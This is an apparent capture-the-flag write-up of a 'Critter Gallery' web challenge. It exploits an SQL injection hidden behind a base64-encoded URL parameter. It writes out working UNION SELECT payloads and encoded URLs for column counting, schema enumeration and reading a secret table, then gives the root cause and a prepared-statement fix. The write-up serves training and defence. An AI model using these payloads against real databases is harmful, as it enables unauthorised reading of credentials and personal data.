# Intigriti September 2026 Challenge, Critter Gallery

**Vulnerability:** Unauthenticated SQL injection (MySQL 8.0.46) in the base64-encoded `pic` parameter of `/challenge.php`, exploited with a single-column `UNION SELECT` to read the `secret_vault` table.

* * *

## TL;DR

`/challenge.php?pic=` is base64. The application decodes it and interpolates the result directly into the SQL query that looks up a critter's description. Base64 is a transport encoding, not a validator, it carries a single quote perfectly well, and it conveniently hides the payload from anything inspecting the raw URL. Because the result set is rendered back into the page, the injection is fully in-band: one crafted link reads any table the database user can reach.

**Final payload**

```sql
panda' union select note from secret_vault #
```

**Final URL**

```plaintext
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBub3RlIGZyb20gc2VjcmV0X3ZhdWx0ICM%3D
```

* * *

## 1\. Recon, reading the URL

Clicking any critter in the gallery navigates to a URL with an opaque parameter:

```plaintext
/challenge.php?pic=cGFuZGE=
```

The trailing `=` and the character set are an immediate base64 tell:

```plaintext
cGFuZGE=   ->   panda
```

So `pic` is just the critter's name, base64-encoded. That is a **transport encoding, not a security control**, whatever I put in there reaches the backend verbatim after decoding.

At that point there were two candidate bug classes for a user-controlled string that gets echoed back into a page: **XSS** and **SQL injection**. I went after SQL injection first, because if it lands it is the higher-impact of the two.

* * *

## 2\. Discovery, the error oracle is a blank page

The classic first probe, base64-encoded as always:

```sql
panda'
```

```plaintext
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEn
```

The response is **HTTP 200 with a zero-byte body**.

This is the single most important observation in the whole challenge, and it is worth being precise about why. An output-encoding routine such as `htmlspecialchars()` would have returned `&#039;` and rendered the page normally, escaping never blanks a response. A completely empty body behind a 200 is the signature of a **PHP fatal error with** `display_errors` **off**: the script died before it emitted any HTML. A stray quote that kills the script means the quote is being *parsed* by something, and the only parser downstream of a name lookup is the database.

So the blank page becomes my error oracle:

```plaintext
page renders    =  valid SQL
blank response  =  SQL syntax error
```

* * *

## 3\. Confirmation, an ORDER BY differential

A single broken payload is not proof; it could be any server-side exception. The way to turn a suspicion into a confirmation is a **differential test**, where a payload that is *syntactically valid* behaves differently from one that is *semantically invalid*:

|  | Payload | Response | Meaning |
| --- | --- | --- | --- |
| Baseline | `panda` | 200, renders | normal lookup |
| Test 1 | `panda' order by 1 #` | 200, renders | valid SQL — injection point closes cleanly |
| Test 2 | `panda' order by 100000 #` | 200, **0 bytes** | invalid SQL — no such column ordinal |

```plaintext
Test 1:  https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIG9yZGVyIGJ5IDEgIw%3D%3D
```

The confirmation condition is:

```plaintext
Baseline == Test 1      (my quote and comment were absorbed by the query)
Test 1   != Test 2      (the database is evaluating the ORDER BY ordinal)
```

Both hold, so **SQL injection is confirmed**. This also proves the `#` comment successfully swallows the query's trailing quote, so the injection point is clean.

The same probe doubles as the column count for the `UNION`:

| Payload | Response |
| --- | --- |
| `panda' order by 1 #` | renders |
| `panda' order by 2 #` | **blank** |

```plaintext
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIG9yZGVyIGJ5IDIgIw%3D%3D
```

The query selects exactly **one column**, so the `UNION SELECT` must project one column too.

* * *

## 4\. Exploitation, in-band UNION SELECT

```sql
panda' union select user() #
```

```plaintext
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCB1c2VyKCkgIw%3D%3D
```

Rendered output:

```plaintext
Giant pandas spend most of the day munching bamboo.
gallery@10.18.49.50
```

Two things are confirmed at once. The `UNION` executes — and because I kept the *valid* `panda` prefix rather than using a non-existent critter, the page reveals that it **renders every row the query returns**, each followed by a `<br>`. The template is a loop over the result set, not a single-row fetch. That makes exfiltration comfortable: the legitimate panda row stays on top and the injected row appears directly beneath it.

Fingerprinting the backend:

```sql
panda' union select version() #    ->   8.0.46
panda' union select user() #       ->   gallery@10.18.49.50
```

**Schemas**

```sql
panda' union select group_concat(schema_name) from information_schema.schemata #
```

```plaintext
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoc2NoZW1hX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhICM%3D
```

```plaintext
information_schema,performance_schema,critter_gallery
```

**Tables in** `critter_gallery`

```sql
panda' union select group_concat(table_name) from information_schema.tables where table_schema=database() #
```

```plaintext
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICM%3D
```

```plaintext
animals,secret_vault
```

`secret_vault` is the obvious target.

**Columns of** `secret_vault`

```sql
panda' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_vault' #
```

```plaintext
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3NlY3JldF92YXVsdCcgIw%3D%3D
```

```plaintext
id,note
```

**The flag**

```sql
panda' union select note from secret_vault #
```

```plaintext
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBub3RlIGZyb20gc2VjcmV0X3ZhdWx0ICM%3D
```

```plaintext
Giant pandas spend most of the day munching bamboo.
INTIGRITI{00000000-0000-0000-0000-000000000000}
```

* * *

## 5\. All payloads used

Every payload is base64-encoded and supplied as `?pic=`.

| # | Payload | Purpose | Result |
| --- | --- | --- | --- |
| 1 | `panda` | baseline | panda description |
| 2 | `panda'` | error oracle | **blank 200**, injection suspected |
| 3 | `panda' order by 1 #` | validity differential | renders |
| 4 | `panda' order by 2 #` | column count | blank -> exactly 1 column |
| 5 | `panda' order by 100000 #` | invalid-ordinal control | blank |
| 6 | `panda' union select version() #` | fingerprint | `8.0.46` |
| 7 | `panda' union select user() #` | fingerprint | `gallery@10.18.49.50` |
| 8 | `panda' union select group_concat(schema_name) from information_schema.schemata #` | schemas | `information_schema,performance_schema,critter_gallery` |
| 9 | `panda' union select group_concat(table_name) from information_schema.tables where table_schema=database() #` | tables | `animals,secret_vault` |
| 10 | `panda' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_vault' #` | columns | `id,note` |
| 11 | `panda' union select note from secret_vault #` | **flag** | `INTIGRITI{...}` |

* * *

## 6\. Root cause

```plaintext
?pic=cGFuZGEn
       |
       +--> base64_decode()                  <- decoding is not validation
       |
       +--> "SELECT description FROM animals WHERE name = '$name'"
       |                                      ^ unparameterised interpolation
       +--> MySQL parses the injected quote as SQL
       |
       +--> foreach (rows as $r) echo htmlspecialchars($r) . '<br>';
```

The defect is a single unparameterised query. Two design choices made it more exploitable than it needed to be:

1.  **Base64 was treated as a sanitiser.** It is not one, and worse, it actively conceals the payload from any WAF, log review, or input filter that inspects the raw query string.
    
2.  **The result set is echoed back to the client.** That turns what could have been a blind injection into a fully in-band one, removing any need for boolean- or time-based inference.
    

* * *

## 7\. Impact

A single unauthenticated link, requiring no user interaction and no session, reads arbitrary data from the application database. In this challenge that is the flag; in a production application it would be the contents of every table the database user can reach; credentials, tokens, personal data.

Scope of access observed, stated precisely:

*   **Readable:** `critter_gallery`, `information_schema`, `performance_schema`.
    
*   **Not available:** stacked queries are rejected (single-statement API); `load_file()` returns empty (no `FILE` privilege / `secure_file_priv`); `mysql.user` is not readable.
    

The `gallery` account is correctly confined to its own schema. That least-privilege hygiene is what caps this at read-only disclosure rather than file read or code execution, worth crediting, because it is the control that limited the blast radius.

* * *

## 8\. Remediation

Use a prepared statement with a bound parameter. That is the whole fix:

```php
$stmt = $pdo->prepare('SELECT description FROM animals WHERE name = ?');
$stmt->execute([$name]);
```

Defence in depth:

*   **Validate the decoded value, not the encoded one.** The set of critters is a short, closed allowlist, reject anything outside it before the value reaches the database.
    
*   **Do not use base64 as a security boundary.** If the parameter is meant to be opaque, use an integer ID or a signed token; base64 only obscures the payload from *defenders*.
    
*   Keep `display_errors` off in production (already the case), but make the fatal-error path return a proper error page rather than an empty 200, an empty body is itself an oracle.
    

* * *

## 9\. Steps to solve (summary)

1.  Clicked a critter, recognised `?pic=cGFuZGE=` as base64 -> `panda`.
    
2.  Considered XSS and SQLi; pursued SQLi first for the higher impact.
    
3.  `panda'` returned a **blank 200**, a PHP fatal, not an encoding artefact. Error oracle found.
    
4.  Confirmed with an `ORDER BY` differential: `order by 1` renders, `order by 100000` blanks.
    
5.  Narrowed the column count to **1** (`order by 2` already blanks).
    
6.  `UNION SELECT` behind the valid `panda` prefix, the page renders every row, so exfiltration is in-band.
    
7.  Fingerprinted MySQL 8.0.46, running as `gallery@10.18.49.50`.
    
8.  Enumerated `information_schema` -> `critter_gallery` -> `animals, secret_vault` -> `id, note`.
    
9.  Read `note` from `secret_vault`.
    

**Flag:** `INTIGRITI{00000000-0000-0000-0000-000000000000}`
